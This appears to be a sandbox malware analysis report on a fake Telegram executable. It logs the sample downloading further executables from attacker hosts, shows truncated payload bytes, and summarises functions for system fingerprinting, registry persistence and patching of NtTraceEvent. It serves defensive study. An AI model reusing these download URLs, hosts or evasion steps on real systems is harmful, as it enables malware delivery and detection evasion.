Aug 4, 2024 12:55:23.390489101 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390502930 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390533924 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390541077 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390552998 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390615940 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390642881 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390666962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390708923 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390716076 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390741110 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390796900 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390830994 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390844107 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390887022 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390896082 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390928030 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390971899 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391093969 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391163111 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391207933 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391221046 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391232014 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391275883 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391315937 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391330004 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391385078 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391447067 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391472101 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391516924 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391608000 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391621113 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391654015 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391679049 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391704082 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391750097 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.391856909 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391880989 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.391944885 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392019033 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392045021 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392077923 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392117023 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392131090 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392180920 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392205954 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392277956 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392293930 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392321110 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392374039 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392414093 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392461061 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392462969 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392532110 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392559052 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392584085 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392647982 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392688990 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392703056 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392760038 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392786026 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392801046 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392846107 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.392919064 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392944098 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.392993927 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.393066883 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.393126965 CEST	9000	49717	154.198.53.117	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 4, 2024 12:55:07.098458052 CEST	192.168.2.5	1.1.1.1	0xc86a	Standard query (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 4, 2024 12:55:07.149368048 CEST	1.1.1.1	192.168.2.5	0xc86a	No error (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com		39.97.203.40	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	154.198.53.117	280	1960	C:\Users\user\Desktop\Telegrm2.69.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 12:54:59.999506950 CEST	76	OUT	GET /Test.txt HTTP/1.1 Connection: Keep-Alive Host: 154.198.53.117:280
Aug 4, 2024 12:55:00.956825018 CEST	196	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 1201 Accept-Ranges: bytes Server: HFS 2.2f Content-Disposition: filename="Test.txt"; Last-Modified: Fri, 02 Aug 2024 05:31:13 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	39.97.203.40	80	1960	C:\Users\user\Desktop\Telegrm2.69.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 12:55:07.156085014 CEST	112	OUT	GET /arphaCrashReport64.exe HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
Aug 4, 2024 12:55:08.143277884 CEST	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 04 Aug 2024 10:55:07 GMT Content-Type: application/octet-stream Content-Length: 238384 Connection: keep-alive x-oss-request-id: 66AF5E0B0AD07139388FF808 Accept-Ranges: bytes ETag: "8B5D51DF7BBD67AEB51E9B9DEE6BC84A" Last-Modified: Fri, 19 Jul 2024 07:12:21 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5816712042177015287 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: i11R33u9Z661Hpud7mvISg== x-oss-server-time: 23 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 d0 a5 69 a5 b1 cb 3a a5 b1 cb 3a a5 b1 cb 3a c0 d7 c8 3b a0 b1 cb 3a c0 d7 ce 3b 29 b1 cb 3a f7 d9 cf 3b b7 b1 cb 3a f7 d9 c8 3b ad b1 cb 3a f7 d9 ce 3b 90 b1 cb 3a c0 d7 cf 3b ae b1 cb 3a c0 d7 ca 3b b7 b1 cb 3a 33 d8 ca 3b a6 b1 cb 3a a5 b1 ca 3a 0b b1 cb 3a 33 d8 ce 3b a2 b1 cb 3a 33 d8 34 3a a4 b1 cb 3a a5 b1 5c 3a a4 b1 cb 3a 33 d8 c9 3b a4 b1 cb 3a 52 69 63 68 a5 b1 cb 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 1f 1b f1 60 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 06 02 00 00 74 01 00 00 00 00 00 24 ea 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i:::;:;):;:;:;:;:;:3;:::3;:34::\::3;:Rich:PEd`"t$@j`p-Ph0;lP8( @.text `.rdataF @@.dataL& @.pdata
Aug 4, 2024 12:55:08.143639088 CEST	1236	IN	Data Raw: 00 00 98 1c 00 00 00 50 03 00 00 1e 00 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 d8 2d 00 00 00 70 03 00 00 2e 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 Data Ascii: P@@.rsrc-p.2@@.relocl`@B
Aug 4, 2024 12:55:08.143668890 CEST	1236	IN	Data Raw: 04 33 c9 eb 1b 33 d2 48 c7 c0 ff ff ff ff 48 f7 f1 49 3b c0 72 3e 49 0f af c8 48 83 f9 e7 77 34 48 8d 51 18 48 8b 4f 08 48 8b 01 ff 10 48 85 c0 74 22 8d 4b ff 48 89 38 89 48 0c c7 40 10 01 00 00 00 c7 40 08 00 00 00 00 48 8b 5c 24 30 48 83 c4 20 Data Ascii: 33HHI;r>IHw4HQHOHHt"KH8H@@H\$0H _H\$03H _HIL3H%xHHIHH`HtHIL3H%@SH eH%XSHH99^
Aug 4, 2024 12:55:08.143685102 CEST	1236	IN	Data Raw: 01 0f 85 43 14 00 00 c3 cc cc 48 8d 41 08 48 39 01 0f 85 43 14 00 00 c3 cc cc 40 57 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 40 48 89 74 24 48 48 8b f9 48 8b 19 48 85 db 74 7a 48 8b 71 08 48 3b de 74 2f 0f 1f 00 48 8b 13 48 83 ea 18 b8 Data Ascii: CHAH9C@WH0HD$ H\$@Ht$HHHHtzHqH;t/HHBHHPHH;uHHWH+HHrH'HCH+HHw)HH3HHGHGH\$@Ht$HH0_@WAVAWH0HD$ H\$PH
Aug 4, 2024 12:55:08.143699884 CEST	1236	IN	Data Raw: c4 20 5f c3 cc cc 48 89 5c 24 08 57 48 83 ec 20 8b da 48 8b f9 e8 fc fd ff ff f6 c3 01 74 0d ba 50 00 00 00 48 8b cf e8 36 c0 00 00 48 8b 5c 24 30 48 8b c7 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc 40 56 57 41 54 41 56 41 57 48 83 ec Data Ascii: _H\$WH HtPH6H\$0HH _@VWATAVAWH0HD$ H\$`Hl$pMHHHBM9HHH@f<BuL$EIH@H5HHHD$hHfHfA<NuLcMIH@HH
Aug 4, 2024 12:55:08.143718004 CEST	1236	IN	Data Raw: 66 89 0b 48 83 c7 02 48 83 c3 02 66 83 3f 00 75 c5 c7 03 00 00 00 00 48 8b 9c 24 80 00 00 00 48 85 db 75 05 8d 7b 0d eb 55 45 8b ce 4c 8b c3 0f 1f 00 48 8b ce 48 ff c1 66 41 83 3c 48 00 75 f5 ff c1 4d 8d 04 48 45 8d 0c 49 83 f9 01 75 e3 44 89 4c Data Ascii: fHHf?uH$Hu{UELHHfA<HuMHEIuDL$(H\$ DIE3IIMH$H$H;H$oE3HT$hIADHAgLL$0E33H$GD$0D$8D$(HD$
Aug 4, 2024 12:55:08.143779993 CEST	1236	IN	Data Raw: 8b cf 48 8b 43 08 4d 03 c9 48 63 c9 48 03 d2 4c 8b c6 48 8d 0c 48 e8 43 3f 00 00 01 3b 48 8b 43 08 33 d2 48 63 0b 66 89 14 48 8d 42 01 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 48 8b 5c 24 30 33 c0 48 8b 74 24 38 48 83 c4 20 5f c3 cc cc cc Data Ascii: HCMHcHLHHC?;HC3HcfHBH\$0Ht$8H _H\$03Ht$8H _H(V~H(H(HL$8HHL$8H\$Ht$WH A3H~93Hxr;}nHH
Aug 4, 2024 12:55:08.143795967 CEST	1236	IN	Data Raw: 48 8b 09 bb 27 00 00 00 66 3b 19 75 16 ff 15 8f f8 01 00 66 3b 18 74 0b b8 01 00 00 00 48 83 c4 20 5b c3 33 c0 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 41 56 41 57 48 83 ec 20 Data Ascii: H'f;uf;tH [3H [H\$Hl$Ht$WAVAWH L9HIOAoHP AHLALHt];MLHcHxHHL:AnAGIOIWHPH\$@Hl$HH>Ht$PH A_A^_.H
Aug 4, 2024 12:55:08.143810034 CEST	1236	IN	Data Raw: c0 74 14 83 f8 0c 74 40 83 f8 16 74 46 83 f8 22 74 41 83 f8 50 75 26 49 8b 06 3b 58 f4 7f 34 89 58 f0 33 c9 49 8b 06 66 89 0c 58 8b c5 e9 39 ff ff ff 33 c9 8b e9 8b c1 e9 2e ff ff ff b9 05 40 00 80 e8 9f f6 ff ff cc b9 0e 00 07 80 e8 94 f6 ff ff Data Ascii: tt@tF"tAPu&I;X4X3IfX93.@WAH\$VWAWH HHH>fr fvftf uHHE3Hl$@Lt$HfD;cA'HfD;HHHfD
Aug 4, 2024 12:55:08.143826008 CEST	1236	IN	Data Raw: 00 48 85 c0 74 60 48 8b 0b 48 3b c1 75 58 ff 15 e6 ee 01 00 48 89 03 48 8b c8 ff 15 da ee 01 00 48 89 03 48 8b c8 ff 15 ce ee 01 00 48 89 03 48 8b c8 ff 15 c2 ee 01 00 48 89 03 4c 89 74 24 38 45 8d 45 1f 48 8d 15 27 f8 01 00 48 8d 4c 24 28 e8 9d Data Ascii: Ht`HH;uXHHHHHHHLt$8EEH'HL$(AD\|$!HfD; uO@u@@l$ Ht@2@l$ ,HZHAHHL$(<@uGHAf8{DEf8}u3Au-Au'Lt$8EEH
Aug 4, 2024 12:55:08.148595095 CEST	1236	IN	Data Raw: 00 48 89 6c 24 58 48 8d 4c 24 48 e8 0e f9 ff ff 8b d8 85 c0 0f 85 bb 00 00 00 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 cc e5 01 00 Data Ascii: Hl$XHL$HHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@uYHT$pHL$HQubHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@stHL$HHtgHl$HHl$PH{HL$HHtAH$pH3
Aug 4, 2024 12:55:08.515090942 CEST	105	OUT	GET /arphaDump64.dll HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
Aug 4, 2024 12:55:09.453605890 CEST	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 04 Aug 2024 10:55:09 GMT Content-Type: application/octet-stream Content-Length: 2199488 Connection: keep-alive x-oss-request-id: 66AF5E0D0AD0713938A5FB08 Accept-Ranges: bytes ETag: "5D165E30CDB59FDCCBD2ACE554EF3DF7" Last-Modified: Sun, 21 Jul 2024 04:01:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10738669038091672703 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XRZeMM21n9zL0qzlVO899w== x-oss-server-time: 14 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c7 68 2d 29 83 09 43 7a 83 09 43 7a 83 09 43 7a 9d 5b c7 7a a6 09 43 7a 9d 5b c0 7a c4 09 43 7a 9d 5b d6 7a 89 09 43 7a a4 cf 38 7a 80 09 43 7a 83 09 42 7a cd 09 43 7a 9d 5b c9 7a 80 09 43 7a 9d 5b d1 7a 82 09 43 7a 9d 5b d2 7a 82 09 43 7a 52 69 63 68 83 09 43 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 23 83 9c 66 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 09 00 00 84 00 00 00 de 20 00 00 00 00 00 34 1b 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 c0 21 00 00 04 00 00 16 7b 21 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h-)CzCzCz[zCz[zCz[zCz8zCzBzCz[zCz[zCz[zCzRichCzPEd#f" 4!{!@( f!)!P.text `.rdatac24@@.data"@.pdata@@.rsrc

Target ID:	0
Start time:	06:54:57
Start date:	04/08/2024
Path:	C:\Users\user\Desktop\Telegrm2.69.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Telegrm2.69.exe"
Imagebase:	0x7ff6d9840000
File size:	27'643'656 bytes
MD5 hash:	30D73384015546E788046F3D30B50B20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	06:55:19
Start date:	04/08/2024
Path:	C:\ProgramData\vzobo\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\vzobo\arphaCrashReport64.exe"
Imagebase:	0x7ff600160000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:55:27
Start date:	04/08/2024
Path:	C:\ProgramData\vzobo\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\vzobo\arphaCrashReport64.exe"
Imagebase:	0x7ff600160000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	34.4%
Total number of Nodes:	646
Total number of Limit Nodes:	34

Executed Functions

Function 03623560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03623430: GetCurrentHwProfileA.ADVAPI32 ref: 0362346F
Part of subcall function 03623430: GetComputerNameA.KERNEL32 ref: 036234C5

lstrcat.KERNEL32 ref: 036235C6

Part of subcall function 036321D0: GetComputerNameA.KERNEL32 ref: 0363222B
Part of subcall function 036321D0: lstrcpy.KERNEL32 ref: 03632241
Part of subcall function 036321D0: wsprintfA.USER32 ref: 03632270

GetComputerNameA.KERNEL32 ref: 036235FF
GetCurrentProcessId.KERNEL32 ref: 03623612
LoadLibraryA.KERNEL32 ref: 0362367A
GetProcAddress.KERNEL32 ref: 0362368A
GetUserNameA.ADVAPI32 ref: 03623699
CreateToolhelp32Snapshot.KERNEL32 ref: 03623703
lstrlen.KERNEL32 ref: 03623763
_localtime64.LIBCMT ref: 0362377C
wsprintfA.USER32 ref: 036237B2
GetModuleFileNameA.KERNEL32 ref: 0362383C

Strings

.dll, xrefs: 03623662
pi32, xrefs: 03623658
Adva, xrefs: 0362364E
ameA, xrefs: 0362363D
driver, xrefs: 03623842
GetU, xrefs: 03623629
2, xrefs: 03623621
Remark, xrefs: 036235D4
Time, xrefs: 03623751, 036237BB
Group, xrefs: 036237DD, 036237FC
run, xrefs: 03623857
serN, xrefs: 03623633
2, xrefs: 036235CC
%d-%d-%d %d:%d, xrefs: 036237A8

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: d4331f6de46681113edbcc190bf75df604ff4c453c402acde608d1cca2099bc8
Instruction ID: ac52161c1bc00a50b861c8166883e917d5f5eff2506908d063ced6b0c2a83dc8
Opcode Fuzzy Hash: d4331f6de46681113edbcc190bf75df604ff4c453c402acde608d1cca2099bc8
Instruction Fuzzy Hash: 1391C136205BC09AEB21EF34E8543DD7B61F7417A4F90822ADA594BBE8DF79C645CB00

Function 036217D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 03621806
GetProcAddress.KERNEL32 ref: 03621819
GetProcAddress.KERNEL32 ref: 0362182E
GetProcAddress.KERNEL32 ref: 03621841
GetProcAddress.KERNEL32 ref: 03621851
GetProcAddress.KERNEL32 ref: 03621861
GetProcAddress.KERNEL32 ref: 03621876
RegCreateKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 036218B9
RegOpenKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 036218E2
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 03621913
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 0362192A
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 03621949
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 0362195D
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0363219F), ref: 03621970

Strings

RegCloseKey, xrefs: 0362186C
RegOpenKeyExA, xrefs: 03621857
Time, xrefs: 036217DF
ADVAPI32.dll, xrefs: 036217FF
RegDeleteValueA, xrefs: 03621847
RegDeleteKeyA, xrefs: 03621837
?, xrefs: 0362189D
RegCreateKeyExA, xrefs: 0362180F
RegSetValueExA, xrefs: 03621824

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressProc$LibraryValue$CloseCreateFreeLoadOpenlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA$Time
API String ID: 4166182170-2474000227
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: 769c24a3b9b2882267305ce981a0fb804517495e96834b23d65eede50c57c190
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: 27419236708B5092DB11DB62F85075AB768F784BD4F408121EE8E43B28EF39C645CB04

Function 036214C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 03621546
GetProcAddress.KERNEL32 ref: 03621559
GetProcAddress.KERNEL32 ref: 0362156C
GetProcAddress.KERNEL32 ref: 03621581
GetProcAddress.KERNEL32 ref: 03621591
GetProcAddress.KERNEL32 ref: 036215A1
RegOpenKeyExA.KERNELBASE ref: 036215CC
lstrcpy.KERNEL32 ref: 03621771
RegCloseKey.KERNELBASE ref: 03621783
FreeLibrary.KERNEL32 ref: 03621796

Strings

RegCloseKey, xrefs: 03621597
RegOpenKeyExA, xrefs: 03621562
Remark, xrefs: 036214C0
%08X, xrefs: 0362171E
ADVAPI32.dll, xrefs: 0362153F
RegEnumValueA, xrefs: 03621577
RegEnumKeyExA, xrefs: 03621587
RegQueryValueExA, xrefs: 0362154F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA$Remark
API String ID: 2622296002-4222392007
Opcode ID: 1f0f4090875ad5d40a482a21911ef399b2c539a6e49c9887108feae5d54802d2
Instruction ID: bb6fdbb2cba40dd5d1f29b3681de2fa7b96ebb9b02bc80c11d84179b79a89002
Opcode Fuzzy Hash: 1f0f4090875ad5d40a482a21911ef399b2c539a6e49c9887108feae5d54802d2
Instruction Fuzzy Hash: 7E718226228F9091DB21CB15F85479EB768FB8ABC4F849112EA8E47B68DF3DC545CF40

Function 03624530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0362455D
GetProcAddress.KERNEL32 ref: 0362456D
LoadLibraryA.KERNEL32 ref: 0362459E
GetProcAddress.KERNEL32 ref: 036245AE
VirtualProtect.KERNELBASE ref: 036245CF
VirtualProtect.KERNELBASE ref: 036245E7
lstrcpy.KERNEL32 ref: 03624603
CloseHandle.KERNEL32 ref: 03624640
FindCloseChangeNotification.KERNELBASE ref: 03624665
CreateThread.KERNELBASE ref: 036246F7
WaitForSingleObject.KERNEL32 ref: 03624706
CloseHandle.KERNEL32 ref: 0362470F

Strings

driver, xrefs: 0362467B
run, xrefs: 0362466B
Mov, xrefs: 03624715
NtTerminateThread, xrefs: 03624563
ntdll.dll, xrefs: 0362454E, 03624587
NtTraceEvent, xrefs: 036245A4

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

